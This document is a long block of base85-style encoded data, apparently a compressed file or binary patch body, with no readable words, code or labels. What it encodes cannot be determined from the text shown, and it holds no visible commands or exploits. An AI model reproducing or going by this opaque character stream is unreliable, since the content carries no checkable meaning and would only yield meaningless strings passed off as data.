zwNX2wQ{zv^4@bX)n(dQFE zDF@O@GghYVNpne_2S8mJiPO^0rM$}`Wb~!;QxC^#qVcp_fpFi;WRQ0y>Aq)?XA=QR zeDC7qwg50&?}na+{{VOlYc2mw4(5Lbvpzw0U0EjYkdQ>xq6Gd0K^Nx|H=jl0d}NYY z??)NK#lsZ(Q+h}HyN(mhn&y2iu`Sro?O)Z`$Uef_FWAP97F6*G{DpiBzl%RZOpyFkCaV$wet(I1 zCSXiUwg*~5tY>Xd8w)T7e07O)8T1J9bn;dEJPItNn!-PaYGcMn-;L44m?N<a2G$o{B#QEwA=$A3+ImI6sFNiij^ zOnMi+F{UcGDCCbnGT^oMJn{`ft2+t%(TV230I$-NX*VkusIv5J`aytM%+>>0C)rBb zfzka;C>=QnrBesRy<7TUwzapPsCiji|Iex1xhk`IVhg&ppv$}KbN7QTXs51ye58mB5 z#3_JXs1&mbeUW&Ju+BGv>=1gJCQq0ccO~65H7)&ZYGh(fLVo1x$aSF`Li2&SbVl?T z;J2nY=10VnD5t297;;i@vR}@D?6>)Q$JG}Y^1}-R=|--KmCKpaAR*WCm`AJi|ldZGgRUT|G|KE-n$eu%9!{Lz40^;?RM>%GT<~YZp3*cjZd`TJ#N_;RQu>GdS^3}QeVgaK;pB#h?Wx zkSNGD%r(pkB8m9Ie;H+5m|w{Gh{vHF!Mg*6zH)D!+dsSnA&0dYB6Y=r+1!z?*&U6) zslR5uS^SFkbl&5?Ps<;Vdp70i)t8W$cS>)R%&z)cF{XQeXBR7qxd{0GA_wkg%VF&h z3c?Oe0#f|BRA19j)!z!{aNZPQP%eJ~w{wgEhmtB`fD6QC@BNHE?0)mUxW zY@iz9x>DVB%{x(D2fyU=X zYzjK&`_!}4?SoT4IvD;Hve*96a@dfgkCKNfefSyTI-Xv1QkJNq8yYQt>@R`TSuWfM z=yGz?@+aI^YwEb?w zcH{$}#c|?mq99wa^&?V_;G!;}s&J=qT0$^^?(ON78=M&QIGz#fmywb-W{fO*{e+Oi=Uu>k_npb#d`6EjOaXF+SRh9< z2AT}{2$0|o!3Ypv+z-rNij%KjY)MpL%7diPbW7UQOi5-zYJF-`_~-Cn?r+??024h# zgqHxT^OpB7D_=QWb-3DmWx>%!$Ir>XJ~SO^&SCI}<_ZG%YxQPb zIKWg`MvU?pcCK`80=zx5ft2|b!*9bA4OQ#J_Yq8|_YKr{o$Sf(q;&Un-s#5BWpo7l z0qc;IDCyQ_YK$hWQ3Ukb9y&TW{>In4YyxI!jMq`pM4uX;Zhta$I`vuLVQN~SA>ewz z&!EYHlfx&4-VKL@?xcOEO8r;(1yE;E+(NX0q_EcDd%>~63;k~g@Z1}L1r!do)BM{? z(VsV-)0G&GEA1-1;Jol4Yd32wm%^Pa_mvOpGxU!w*Uh;=592$K-$R+kndh2*nQwyH z9g;8x>|gh@o^nFH$6e${)Hw54>r!>HE?+vLc*ox)9%3Xi_q7>1s%!G=3TwDEe(meq zYex4mt0nKH{@PF4X5h0p9q@x;!Sf-Pkv~va+#Qz&Hz(o;4>@VJ2gZx!w$6PQ>H?Yu z^@n}}46Mr#7hy-iAs~ivxn82bsJ(1|Ze4|OL^DX`o^nbGWs2VczvJE@@_LUc9t5I> zu*eff!h7OM(Lu#DAXh2Y zngL#%O>W2b z_?m_KVC5&(7b#SJP=b=(5OTz++=GJaEIT)fh2Z9~`Z@Dix4A!Az`KQI;qPQ^7K|Mw z^7aooFeeWrF|vkM59f|9VZCJR9+}@awSN}<4c*8u5a0oyV7k`|FHOYt$mLnvvb|;I{2sqR-3Fw@*+6&few1! zz&83!-b#*KSE4R~3PGD(zGB_I_jvgEzwlWTK=r#Hc-4Pn_)y6A*q|7%xboO>;ql>I zpU-5gOR)1h_$Js%L!MsGoy?ZC{%CahzPt48i!V>UKHPF||DzlCx4({kx$|e?55I;* z4d45A()SBfCChAU9PYTBaNFy(#pjOaPwyZ234|3Gypt!;+wTM%wHzf~nZfnpZl%wn zFYFMuN4Ab_k+h;(^@lg?OQAr`<5KC|yEj8$JK(aU5GXXmR^#Qcl_R%!cC^arNuGBx(zf>$% z9S|}kP3%AX0M;GuHeQzSr=&sFEO{w4aX)dn%&()jc6BNjbC63AMuRy8*rZF1_l(zh zSGb~XedqHgZvFF?JB>^F6MAAfn$hjjQqeX2H|+|@f8gVQ7iQR_&r?iUPF+JA4LwaO z4NVR_Oj{7Zqb>_@qwb>;s6PIKek`v;BsRX(WiDa^{2t(E92J|yuFO+R{eb5Xvq#hS zpuMx}bsMY8tv_Q(&NB=5sIO|{%vuW-{2tQm$U;$^w>hV|JaPVv*@$j{2f+RVt+e&% z*y<$lD?XHo9(EqM*B{xB?dJ^69~x#oW#0qx+BpE%>4s*BZn6G}31QpnpoA`fBLJdU z61o(50ec!X&dCie!tKLsb8f(Fa6+Q*Vg5NDK@T8jB7eYOP`$%yfW^N61Ov~5Hp3So z<&Hi8Bkd`&%<%;L1TqDdh*%Ero_B(%4qE{S6ccz!U$kH?8OB_rP>s@TktwAV!43Wa zmM`0Z`IEJXGnSVr+$?@6u9ij0J}Zg(u_h?I4|y9uosi<`;ysQ`_M7de^`AyL8t~dL z)xXZC$G6aHm-iZCq32bXQ?3WmYcU|C7_k^&=4K7rKD))1CI_rZ-$jNvoR9{ zw=~%O%=s27K+xH!BN`QYHo*R^vo5qHSe@+==BrjJaC@!N{ii3Zw`+>jx3$0Z3jou) zkLi}-rT&AiRQm{UV1TVDW>+W@Tmak}I}yi`ub}hc!GO{HE_^&X17pOa2~OmNo|h@# z3G>J|aZEx8_MXcufZEZCc!in_yjE}~nCYcjsl*HNcozrO)4APayWjOy^wkY)7y=Et zj-2l|4;%U_N45^B*g32?!3>_GxKCnMK#jjGM-eMfN8Iia{&-b*cKF&!uLF1bO$?b9 zXr(Qu9ty(v6RBt*P5hD+=OJ?2s|wALwna zkW@;V+ga_e{?`3<{f_#6;;Z4yjZ){5;P<6(mVEg4_S5e#KTDd|H=P`sIY{LXaR2f) z@FsHpanB0PVzx3$6R4f1rzp`H4S$(<`N$@gmHuQXwNF7W>EAl|Xk-%WCJ!%sE_^4x zEB2Dc%hxKZjN8rY9OE(XT@~(I+_!k%BvzANc;ENi7$Bj|4Sf@7h^a^jj$4;FF|;;3 z$j{CHxX&FwExFDY59Fzzq6&~#Z0Q!6V!5J(9mKghaBQHaH@&y2^LOXpy2$#jKly(J zzZHKfsz218@1gWHv%j#5#Rr7P_0bwI4vG#6DW>vLpb38qC}Y+VF%b4;?GX)Dvu(eYFc%1GgAzAr0% zbUE9TIaj!lzg%%#zDzS$^B%C>XKULum8O5DA|Ul`CN_G$_T57H&qwL&<2&E4nj-OU z^cnCSCVuzW;Vg1~3@w3rs%EODv7fO?!2HhQJYp3vUoeV>Ck>n%^zVN^M5hxt2bn)b zy#k}0EDuwAsVVAab&<}fziOFhzhF0l_t-lCa_$<~630GIc`w5^G;Z&E+E5{12`8>8DZuX`ZtCul}J5F8X+qH_CUd+5`mdV zzOCEZ#?^Y(Z7Q?<`&l`y z0#pCHwzlPYOEaT+c+{}PbdeBElmu6Xw8wpjJCnIKGp+Dq;q$4+sa;cVPwgoX=8sKH zOZgNwK5V&Pm0!8X1?;**j6sBs;{IrQ0lIB%xkR~P8e*ENQM9O2JL*%G`k(>A-qL^ zkY4~kzz^gb1OvGP@dY*?8Uh-&?FaY*2|(6uyX2X~&SP;&+^uXmHzqxq)y5hABb|X3WR6CA^^&w1iDE=7Fb423f*^A ziu|nlp@M7;Gyg&f9Dk6|q~|nPkTfbea(BEg&LgQc(UN!|VP|A`ILKS(c@=sBJXUs8 z+&AFX|Gx21gI7g(#p7~BIjLq{)%wPX4F}qS+O<7HeTzm?nM+04;$@mV%>wgg^Ksj5 z`)%7FfSwQxkW!!^caXqd0T8N~;8fUNTe|~Tx7R39>{TC7BGvO%EcJBtM=er&%J5eE z$vD%n(|i?t7;*yl&`Ix};C_fi@>=e_fjpIzNt)q7BNmafyoLUM{VhI7zfZ2y+>ws% z*thT;G}3Vab`kO%X1wEN>?1VJc@0eASZF$EYu64No@t;uFS)xsl+(&S)N`SS(zvNH zpt`Nz=-Uv8$ zLCo}`c@qdrXDov#WJI-)yCC85sPD{pIzv?MeBqfLoQ<{H_VFEx%^EUw{8_ z3AD7bd8Fl(uu}8@)a5V<_uJWznC98;{n&T4|1T;oaCVRbh1Kbd9Tyn1pm8M zcDDBmeMIz0#xwR=y1;ZO36_eO2fGW@iU-;9u-2TI%5j-1kmfg0HEnvfJ{XW$e)kH<2a;5CNTqc?;R`6EwqM36?>4TRC z(Yxeri+A&%DaT4}Af45MPsSGqUJLS1 zI-E=!!yL0Ie|-UB{D%n#3*S!?7BVIY^0N!&85=T{k(LM{X_luRYyo`}%6R2%Ud{L) zs?R@Pt$FtD+3=%JuP41MDBWLD{R{kCUums+*_7IHukQ&xm5Ua1D_3i~P098@=6j$~ z-5%4B`iOS1W|J1AU8?&5(YC^1<)N zzank+(ozY5Pa@VwtcnxH@e<>c2}v)L3lpS?$72`7kA`t0wgo&6M3M)67ZV0OHlx{2 zD;=&wy$mU4y>f|Wj*_E9Dd|Ahe7htNcoUZl7cm@1#xwZ5)tndN1A@tdU0fRL*68?w zy#wnzB%PC+)h&k`?lqEXKh(BYEUEDSbN^S_@0?%U#^HuZ!f$*yLIVMlyF4buw1=-A zb0u@enAUqB*<*bjEbg5&kCi6Q3L-4wGf9$3Md{qPMe@R zD;5fsJb#WmFNghBi07YE{F1&mIA~u(cGwXv9at-nn^+wBIm{aUK297{m~b^@eFVaT z;7x>^9N!u?TIP!TWP692M`pIZ>By@Ys4J}gRwJk%Y#3-Kb~@4@4qRX)jVMO8Gh4Y7 z{%1*r6s0_`JPxp#uNY#Cb>oqqZK^x7BFNnI5@Om(2vP}caLrZ6bLv)kX` z-%fc>;d{k<6A2c=b?iT_-gVq{q-F^jh10w-z;F8WoLh4U`tY#=$O1$H>r! zK_y$j?v^-8hk-ZV0jDocss3h4Xk2`3MaJcHc&=YgXRcrF&oQ(yurZ5s-)HPkzZ0Jx z7Zq|j_@h^Z_mB$YZIn#lJ@CB&V_z<^8o-w3y5){}H zxqBgraMCg25l_2&Dsc{uXA-CFFtP53T3SaJecFJG_{Y%%$&e0}#6QfF3wZDv6 zeyV(^QeD$pAK9|E{eG8s-;IIe3^Kct;{$YI|EV6T4wyNn2pfK7*d zhL44^(W@OnxChuU%mqv{!j7zg=O9)C4w-ONv||ve7PZ)MIcB5d3#{BR3cD8l7c+wE zzzqYdH^;dpP|1((1{LCng{Cw#r>t}yCwDL+Vss3LRrMai$e!FrY zk`Cr2apRRAlnuImy;f79jnqul01H3;VSsmp1+4(Q=QA7*+v9BWEHdEl2V+Fp*8zO< z9&i%&6xhTqlTE5QdN{zcfLy<@J%(qbP)FO51Cwmf8Z;Gln# z-zA?v-lL>i!Z^2yjysU<0Mq7#c80!1#ZlKwyQEim2ly*Sa#%i$+R?2;VI$f759nLE zeS0E%PxU_RE9slpvApA9V@2cjx_5Q1HJ#Pf)vnd&YOYkL)l94QtAbQ5tFl+A>-F_p zI40;b77KMv`f+s-$1s|m~{bTn}D1`M<7>k2lt@TfH)5*`9?P z<}RLjZ3=l@L(YjfTFmO8;WJd_yR27@gRCUt{e{| zm^@B-!adC%B-eMYOza*U1{H~kf%d{K86l=!!aN~-;OW4Grh%5_zyJN){&7;t)0b0T zW;~tt_~!HYr=Q;O-}ro0eP)#F%3y7It+(m#`e(74h@Rrf*Pz%=AebPA>zHxIwc z?FBL3qn6}PI!Zq1JnBh4YJ54>#q40G2qO4<)zoSFF zv&k~lQ*VW@&5fN`- z5fFjHbF09TrSH>yRyZqKcn`R*>5KY5v{tv!YOmBF{;mD%^yAa_Ki}%U?fyCYXGd8| z*}BGO4J-Pm_F;ui{3oW*`bcys;y!V{YqYP~vy__e3#TzDQ-gdd+XL78kptIL*py>_ z4PF<#OWZi_&#;BgVgwA;0kr~l+{3UUharG@uo~j+xCR~Py2@?0$4`&FUYEV1JZF)* zowHnHG2XbJ$X945*ajp8AUREU@PU&I2Frl5M)z69RkunimD40e3cIjhlEtm&x3a!- zbJ^Y8A#OVV6L7hhBrFl_WQ#fOqg$E9Od;zBTg~wW@(PIpHou1*&RWj8IPw95e}C*MeNVJJLw zLtIS!wB&*0g-Jh>>Y`W0;)C)+*7{!bpH2?(B@)sIa)4)bND(0KppWUNHTu-Us=~@o z|GDtv=J)?TpZzjia|Ew)Hl~@mgHv#1B zmG<8bXa^ct2oRxDP#KO1*ohb%CJplreg^Rn+yssV9kt&A?+1TFM`KsGnca)r^E}1w zsiX@&f&TE2z2Vfzy+8)@P;_5NR5+QM9{9{ViQGdVxntapxca)MxOL&{amyTC;jgSx z6GmAer-}XvI3l=^C@AJu4)+cw_Z4@q>{!rtvvqunroF#yVOME~LuW>td)xFTb+fJh zKm)CoTz9u+v`!(w-9#!D}uCMx4_M+`$i%m3L^cl;?CdU4adooQhvwLmo zrj~6}cE8%n-`T$L!?pC)j`;cvi@SpG# zL(EY28|eMLHFP??VYr{?Ej?+NYsVv>JB1O&-dO>YgVD6#VLkqFv~G_w?}exY>0$p5fmde^vfvXX(N6pnnZbdmCl_Yv^%6S2j}% z)A~d2gIn>Zol)c!r1g{!K63(G{AvPsQs}fy|GW^k|B{fo0UbfD6jVU2uh>W6h4n=Wb3qTMErqoCq5@+Q)l|;1}D%;f-eN)gAdW_sC)b+K6|~m z9$kcIZd`m0uE(hodK-F87olt8_wyNpR7QN4TQ9g-)fQPdt!bpesr6c?u=fJp#MsO% z!KPy_w_h3^;eTRP2i@KXSy&5kyEULU!xw_(h#pc?&nwQO9 zP2nA|w%$Hlw+Hh#!zA?Py;ia$Tz#(Ul4Xt_Zs(a%;F%5u0FU&8^Ax<57)2704wIR{ zdtnA?woia(6nPWz2WdC4$@2oq#al+M^7-Ub?K7V|hdhtu;MGRl;GrgV5Pt%1r#H?C z_#r1bz7PAw)fE}$G}Ylge4lj;xWWjs`)L@)BDqeTC#{li5~0ME-0PfTR?o-;*0Pb; z+>7j|;$%^bY*@kN)ayBVfaVzJ+YXUB_K;$9c4PJ@Yw7xf?hw zXhs+~G%9LN#Jm`0bYtxD_}lU5q$!DCk{S{yN#o;WNewYm6E8*{iK5fK1{DK4_*I_Y z+~>NcxXi`%pdO&94!5A4njOX#!4lc@8jOD-v1i3pO7yaXPEHIp-ed6eD2{KY63{@S~VzP;;IUtj0BzD+&j2LwYD zRtxu{c&scJxE!AXF6)=AQiv5i-FX2vh&0jtjE~uKB4vr!6KbWmC1}5oJ(%Vn7-kIO zhdP9m0K0{qWEY>EZsqP5uxTy<=;=5qV8v*I_oJ4BFgs8Q0OlQpuLJ-dv{$Anm&i#$_QrM8Oek8f7Z~P7c(KVJ!jNUCr>SyynKSFz?|_a ztvWc9W_D4!P=PDpuslUMIO@+j*8QfJ*?g`2a9u|8{F;%5%=*tw+@(-rj+yz+%~s!A_&Q*YAv>TlXj zpiV@Q<0Hpcm=J^r?Fx=Xj9MTL=?18|OtW8iRa>C%)O|44tCIDBfcZ(l2@%#Y(>XL| zBul}34BRj$a32c2L}>X!z=35{qIF{RR?{LQ2=Md}LCYOtY)kFgp#2V?94!S$$6nHWAO60bLg4mSU zZBf<`5lui@K{-vj?nT5AT~>lE028xPf0Zu~z8HQmYGceDC5=o0W*R-~xztBOuxvH1 za$E#|LwJn8MJe|ALd&OK3TpFrr~L}>3-1W|8et7D4-N@^O_uo8A|?_;F`IW^9jj;u?3YVmfe>Ff z4we9JcbEp<2h}0QJL()sSPZ7iIRoe6Hs0yCOC)LyM&M{g&qEbqR--)8Ls&A_-*r9S z%XN`!2L22_n|Kq*7RQp_dxm%liDx}h+>1Qiofo^tqZT*~A<5VYuzF-J$QvRyJ+sOb zFV(r+!@v!BD|;KShP#`qX7{rmGQ&9g*&kWsSapmc#wJGQFq1{$usCF%KU)n@ga{li zdk^Onvz$3N;yAL6**ZcS-8(EAd^6D2Kd)cY!|4s~%IW#nRng-!#AOW0>8hE|dk6>O zFQm#RX{V1}1YVZDqJ8zyvS+IZiQD0Tx45s-44|P ztfU1Xx^07rWH_OktOyY)#7fR@PSy~;e_7k+?zK&)`%~LX8RVXytX1?){DR?YA~UO4 z?jm|@c%>mgp4exh=O7DkU$Gg$9hOdzd;B3$eXsZ(4?ILG5AP1HiU_A34PM~;CZO2c zf%23D@txyw-ka(Alh}!F$Mu7(u=9o-d$y%(HkkKx7g6oNIpWZ^K|o4<)&zz<;~_%-aE zJc4kcXr0VO9wpr(JudVXb_!brN_nunUt15bKf4SXV-;Xgg&MCLrs|V)Uo?}{pOm-d z=cJLc|HNixxa^;)P78N5L&lIpJP|R~5jpALl=R&0%;<6a+}8!vy!7#eywP#*awp}m zGDcE7lUB!kiOdM858CQWCsSOV@NmZpgwCFA>(hp+&x`NzXL5dxq_F-m&WtP>tQ`#Q zlMIgZKt?w8FCSexSU(cN=pC+QC>gsLR{>^E45M%8$R|aieI6-^-uR@#lPHU15G^%SMm!*Rm%|as>@Q zIw@FDCkd3_7ja~HLW43u^1+a!F1O4w6qt7!*!m?pib1TCnjf1c+OAl0Z4I_hmH?ZN zDaZW6SYi~IH<>?J-dNU~;O6i8B*Q1Gci;w zQ>w;pjM3(qCmPy8JvJxgMEHAbAEv?iF5cJG$KwOxgIBW0ZSRYo$GtyzpuF4ML%bM- z1*BNFeqxc!IkzoNWB{&p1seka=&t50t5*F^dqozmI4W}iDCG0huT*nc}`e zqU=!ZQ!UU|DnoTIREzXC)m8d=%3!URBtr2YpDKys!NiTcGSP32oeyU=b84BeE1Jq&8BXG&U(C=S9}mf~DgMi*^-KCMHhEE2u{=4dTcUd~_2)($og-svvvD`|V!^|vv%eOv9nmPys?oBmc6Hyo|T zHc{)Jc7(Ov89dtG!RcbY7fSgMsjtLM9jRJud}26kn`W~)G&o!V%o86$PXX8cb@O54 z482A7Qhm&js&TcJ8*(6H>QKrU8P_39<%7y6ltUh;*X7U-C~nMlw-?1UxQ{YFE_< zeXs^@4AW#9uBz4;#;PtDQ`HFTO5GYroaGp@ALNYe03Cz)8^ku8A3K?ZE{&I4YaNVCCm9&#Cm#x^=FBo=sf`3e2gf&{d)w8r2t+S*`DPza3| zI4fu*xUYfUSvyC^`A#^HHLm5+C_z})67;# z)HvmA1yYWcdP*t;EBNKyEu3afC}#sNo98S@5d0^YAZ!ErjLlp+S2nU@WMJt0P$VOH zcmaAO|z75ZQUDg#`pLxCLu(*nIH@%|~^X0nkO?sdtH?CIo^?0(uQ#cc`tp9>Fu z6q^hfV}zi`@E+?IFxyaUjn`65aq0zz%Zf|d`OU7g6TB8V^Op)~ z?6=&f?)u0aTh^okul$HYWkJUHIr+^6QRAZX*<)9anV&1noSfyHf=b;Ibv|mJpTWl& zJ011Pa8>(=JAuXNdEC+8G`)7Trm!rsYUiKs8ci9$>3QwV_Tx>ry0PuBfudgNXglME z5W(N2zNJjI+%O#juLHeDY=!=Zx(AO$T|!hK)rdR<1VM!EgtXegw)22fhNf&)+?L;! z*C?}8Lck#$Zrp1;Y**WTkRs%O%Vqp@(rhn@?=k-wR1-iQ`W#7!co91{tTQHqvMZ$4 z%|?FcNXK(*!w8;!2I!q;t)*UePdiJ%mTu*|73f(Hxb2)4Zl6#r{Gynx=+XviNA*$q z*M=dztFc?3W=zxbj1Tp(#&voOkP}VO4yp~RL}j16O*&t)Tht}C2@~Wn=^KT=?0|e! z(x9Nq04A);VD#11SpOQQfIr$cB8QjwDerD7&uA zP~O(v)t3N9NEpDMP4quY&5X>B2}@p(R* zZ*kZUY)m_Bf2 zck?eu@&p}{5q_@No8Km!EksH>B|2F;;O`#Ld{eg=YIOUJ*L9ADZuKqg9)+hWTw0{) zk?aO?YYc#e%vM7+#Xu)wtBGz5Fn611mH>+*!0z_9B$?k>=9%*>cgX-v`q9*R(83(zt&VIZFghXYlh;dJGLPpTaa-^^HoHR;kM~60xwcnCt z`~s@5wmJj@CgxIWGB6YLs@gRob(;R89&bLN6&hwM=<1WQV&!E;ii)H0)sz~8btlZe zx}7GwCfHz5AJ)36#;VuJpJ}LyYo=qm0K3jI*+Bz>A)X_WTx9rL-bCLJ>hz$ppsT?x zv`wK;!tO=YMUP9^5bK|~B_=;k8#^^NCt*WeK+KV7M(}XR%zzZ?GJr?a=%IBV!oEQN zvW>GQ%6nw_?5phLfeQnjT^xXr^tqGN6Vg4dr=#m?m#}kt*I?Jip6;F%{p!AX48%|r zo5kEMzzRyFpQJlf?f}PKs);onGZZ?kv;o$5*lVX&)JEq>>`mMXj06isVbMR~uaPY1 zUt~D^uVXrLo8uNF)o}%KHo(N+hr8u`)$NCS7-<%n;fta&1C9ra18Ra5e)EE!dSCNz za=-086Sv=OK2nJp1>J%D(T&W$-#VzPuLpV&Jk+ z!Ybh>;}>tpC!%J5y zPs)D-q?jq%RjNS!LbZbqsTxqOmenhgWmC1g)h_|h^?ir{ycflFJdK}#&++p0h6W;O zqyl)&0SH?NZ6|iaiyPS5uk>kT-vg^2$ zIJdYzICD9N*&W;koFw64ez|C_a8P^`cmbirOC=Se-I5kjnS>-($#jy(>WRvQdPi-A z>4V_~=$Abdk%PR8nTC6c*Ax6bj(d%e&iG6v%lr;dNYq^cp@Ak!alk3xKnlcr5BY%m z65=Q4jV`-TM=%iROT=B!btnon8-lfecPKUo*y^=h!wlsj?STBAhAEHGq{{XxH4=;5 zE)4x070l%34ft|#yAC2SZ0bI@V%Ga>y&VL-v$DVm81QyeFcpZMQI{P>OIAB;IU29st>)kG|fRHQCiYz(%-H%n()Zm7J~YE2HGmn34G-sjSuP z4*nOBkJL%EPc1cuT8p5O2%1xyGuizMsm^<^|7wa8Er1#svMEp${F9nS`{=)ey3zNS z?+cRNBah(hTivnreaJkanJ7k#4PVuRhbbUl(I2&|r-FHBU|3bSL#Fja98xjOxkS zGCSa+fs>(lyc{>+|C(|tW=ZV6jDYNG`FjeLMb=5f6VoPtp5Ql8l@BXCotu#7lTw>T z3)e;FpH!I=0MDGL36yO<~L%Ts+|3zk9H` z|KQNh0ShCMAz*>o7o|wq9&^0qE}|A`2Krqu-Oa>&vOhV+AL(~J@H3^6ruJVKyvP4& zP=(JoznjE(&+E?rxz=EaxSc4PqZ)Pwd=TVe+iqPBFn3GzDl=WX$l`3;>hRIN5WW#K z06S;XfV-`=4jmRDsKWH#)}h~Nnx)Rxcme+S{fdL~Qu!oVjfg60;Fky}f?nZDAlXl5 zQdm=2HS9jVgXocTK;Eue4&=tebw#>L-9LzrQ#so!+dy41b^%7H(`4Z1w`3G#a${wm@`VpHOxjQ8pGoQCXOW8!ij zrXoi~NkbQua*oQc^C77Ig?l z`DeIH?g7pm?s6WQ-z>N#+#!mQlt{+P&ntebxY`H0n*dv453~ndi6NmJfJSS8=S@Nv zWrNQ|8b4q@jT4}u-K0JU-WB8pKYx?>-_)3F{(LmmO! zVS!KuTn6mzMnJhh6L$jy3IB#rK;jVdt*5{rjL+=J+Qp_k*?bjJ+%M}F!ezhsz7jp} zvgm9if&wr$%s-mz`lw(XgYi#R7aR&tVj`};B1 z%+Gdma`xJ5J?p;LIp;c8IgZ+=IsVzNI)*x0I_ldct~3V=@!g+2D(I;9E_4n(2yZ~8 z$R_U@&t!1JrXYhGb19u~UG<$W;1X{t_?|d*=p-$XNdwPONz$Rn?=D<;E0!W;_2-M>J1hbc;(l*jTz#!aTQ>GrN ziB`{1uT~9HOH~8Z9hEIq&6GyvE_H2{N|zBn)UZT1(D=yE(9}BewCRg!1Ym=AiFjdb ztj{%=01v;e`n0Af%%Hj_&kU=S#>%b&2dtA>M(eQANTg@Bo3mN1>naylT&k>H(b{^t zT5K<{@*SV7_1x2(&AndFTJJE}>@D|>glE8y&@JE&ts!vWV;e^qDIaiSF7aJwM)(*y zmzhEKW0Fa+&j`K~ONc~DjgKZhcsAk1Ctw161FFMYVlRjkq7hxh4E1jc*#xcRoHEz2 zEAmI&`Go&6W@SvuA68>)ale}S(#y5wSjrgOD(Y9BlA2d_(B+Pp3t6D68@aLgqIU2R!n}z zAbJtm$)Cz9gKzzZ`O`y$q@OrZ**vUs_)pDNeS&^Q#7jd_q$Q$Xbcx9w`z!i+{Acs6 z1kxOrxWjxf{#%qTc1h&E=<*1Gah>jwdZ==*^pV)fV?uw~qdqP1ka~e!CW_(i_(kt) zY^mo7S`XTe40GRsN4jOO+l_hNL-)ZPGal_hTq2F+IcfuP1Y7N1>V5AV>pA00@=SIf zguKrE9t*SxeEtv*9iW}&+^jRu`Iz{RUlsZW+ z^Y8bQqB`Qs;kPtN<_1wsQ*I=E%+u$EmDVYVuY0q0xB7SLk`322nB1sA!`TfC_3zZ% zRA)ln;<7t9G`t^z^2<9^(TLzRy7^K(8i7SRDGz z-w6z=E->3(=%31-W(#ONtpe`3T4W_T2<&J4;XI)@VOvRj7+-DD!x62b=Ec;H8`9R72XqU>Kbh?T$*Z^Bd*%)`dR(jWvmuDXH|D_e78zntYZw+&eIjp(AU5dy?s4n z;8~up$a?R79_l%wLdeZN@d*OpkQ;qM;pQBDBcw$XyGm`9C3)6oU_RarX`)cW= z266SIjc(UZt+%z#)tX5)cV-XH{+dt`zf^lhbCh4odyl=qRMuJ6ML!?@$oiTJHs$+% z3VfA)&Hmo-`;Bs@eCOY}e|v!rrNw&`sm*@!XYta6%lRin@%%Hw2|*@Q+ouB^`Mzu< z)s4Om-$d-Le0RL_iKDrFsO^vSpyjarsx1oo=f018M;v526&=tAABp0m%@xm7S>f6G znMPk^R8&#)xu{9zW6_;r%A&}q8%Aklys;Os(tMBDpr55TYZhukihE&mWP4?u#rFXb z?qR4}a5mINn89ZRG5iVqjlq*ak-xLwPd8@;bR`u|2?-;y44sWmhdaPuJsrFmP^tHU z>$LZUgYrDGxAMf=FSuWVKGHGUC}%CF%iY6s5?%#%(s3L-^~5ZkBd&l=sn)>vc^6*; zW}JD*EpH8MH~O4>KrZD}ffG_hCe&XtY&0*64NFc+&B-ax71RnVc~SRA-N6mv`WG8! z)!$m5S2tAqK$nJPG`EesZt-bFO00_ZL5Je=7Sb{5bd% z_vQ50m%r72hT44APRK}aA$y4I&eL*V#H08V6`#aIRoU{ks_}|=MT9)a4+u2mdm3`M z+^s6#R}K8B`T6(rgHOjlo%xvcebl$IzlDD??RnOQSXX#dppNgE^qZ)b_N1CK{Wi9a zU1MGqR|}*qv~kTu+HwiSR_<{*YXS`j(QcotHc}O#n4#Q{IKDscBaoMV^Rq~ zsHsuR7B4CrQ`WIw^STiYlIkVa%_*B)j2FDj%gY{_u_(nHe>J+hzDQFo=^-lSCi*Qz z82Q6959FJFI%ZlB+Yrkh`yR_LdmpR7QQ{osKIf&7+1Ojc2ew=h<|P~DYwY^~ynP~n zwhv~8&?RI;97ndmbD>;lsAIU}8}N5cukuzNuR32f*mBF7XJ?%~JWCOVtjWv`oCzk1 zzKWVFJc@9&1lWBhYbWVu8*Uli8V5(f#zOGCFEzZ>=jjJ(kA%P01Xag0W5dkq4f5>@ zjl7ZU1>pBdfH&Z^q*^vj(nxk!@<>`Ost{cjT;snJT;OjJRS4IL)5Lp(iNgD#L%|MQ zTi-~=POiacp$6oscfMyVw8(whwaHc6RSh;s7r8>tm%t^{4z3H&Li?h%aRI&vI1kPN zYh*F`lH7x@BQ}HIeLvcT+=@;k3s4{a2EKvL@wP%@Jomi2f&0pe4n!*f2P9u`J(Qu& z41=OjGv2vD~m5-~x|J__Y;%~7vv$DH$whj0Eb^V4@ zp{K|`&jYL%dK=5ZJ0b(o;qWgQ0`9Y=@F2js$%Mk87?+I`#;BYvbI{LdtJMuk! z+#ytgzNbBOmq1ByAAgbHkt8U2s2Zlar|+dtGqy9X0dD6~ zR6FvfQ5<scLiBL?tSps8q_jDW8d2DFzGtQjXt7`iKXMpZPcP;;DR} zju=kg!^cyN&}96iHy?iNF?hB>JKR-H%(2yR!=CE=;;7|X?ONdO2n~Wb&vmFReBM)r zdg1oOPo$Duk9;GqBeO{X`hmEN?j(3*4SETa3ZA@zxx`bdw$53*12az8@;3O!+a zNc-`Ont#$7dP>>HSVLPCJ<`}9E)@MG{(9W>WMN95ba_Urtf^W3YfP=ty=I-7Ba0W; z98i>1FeJZI&XKG|DP0nGM}3QUsA6TQg7I7q{RK67nmgT=mQ~!}wSR8>YVNw@^-g3LfY*j;QTnMP1}Yhd7R=ta?d*o!=d zS#KFkc^UXHQV$!0y(H3!G4y&G_wVIO1s8cCNheXF!YkjS{;T!@@<^g_WP~vKNR%&j znYk+NY4q=ycTolA<0di+#9ks=g#Qj-2+rg^iq^{gk{EfE_`S51L@NI(ek&UzjFM#X z4)AAlB-e?xf&I7&hGd#D2iXDiFXjb#mFk0k!kWN^-jQH-(8lov8sj9OCaxK-K7j6B z-+l|+aArf_U11OqkGslTJKeZz4!9TGhqrrfpb_vO!j8%rHMN5IMI9!r*eSF#ydQn# zy@(dWB0L-Y#SEbH1WWiA)nhfQV$$R2^qHBN1)c(=q`35Xom+Lc)V))GNu9g(=9G1= zom6X0@qY!Q^4sQo$XcE{CHX|m$7m<;e9jbWrKj0`+-rCM-qf)c>QSw6-1=v;bo#Tg zYVaRR<&=Mysy;Qn4>Lp zPjptho;l?1Q_dIebM7pU!rKQqh^CTSYAU;gEd+D)wxZ_3GxB2DWOah_jQ*eIg6Thf z{TR$h#I}oC8TViG&p3bdq`1b>RWY)tCed3XON|K;y}_IRg#uM7rCvEK>@R)H6NyU$ zBLtUxy?9U9vd}x`cHlI<+W&zT`_fqlFiP{;LShradY{9XcOBdVtplEpSKeptWo{`{ 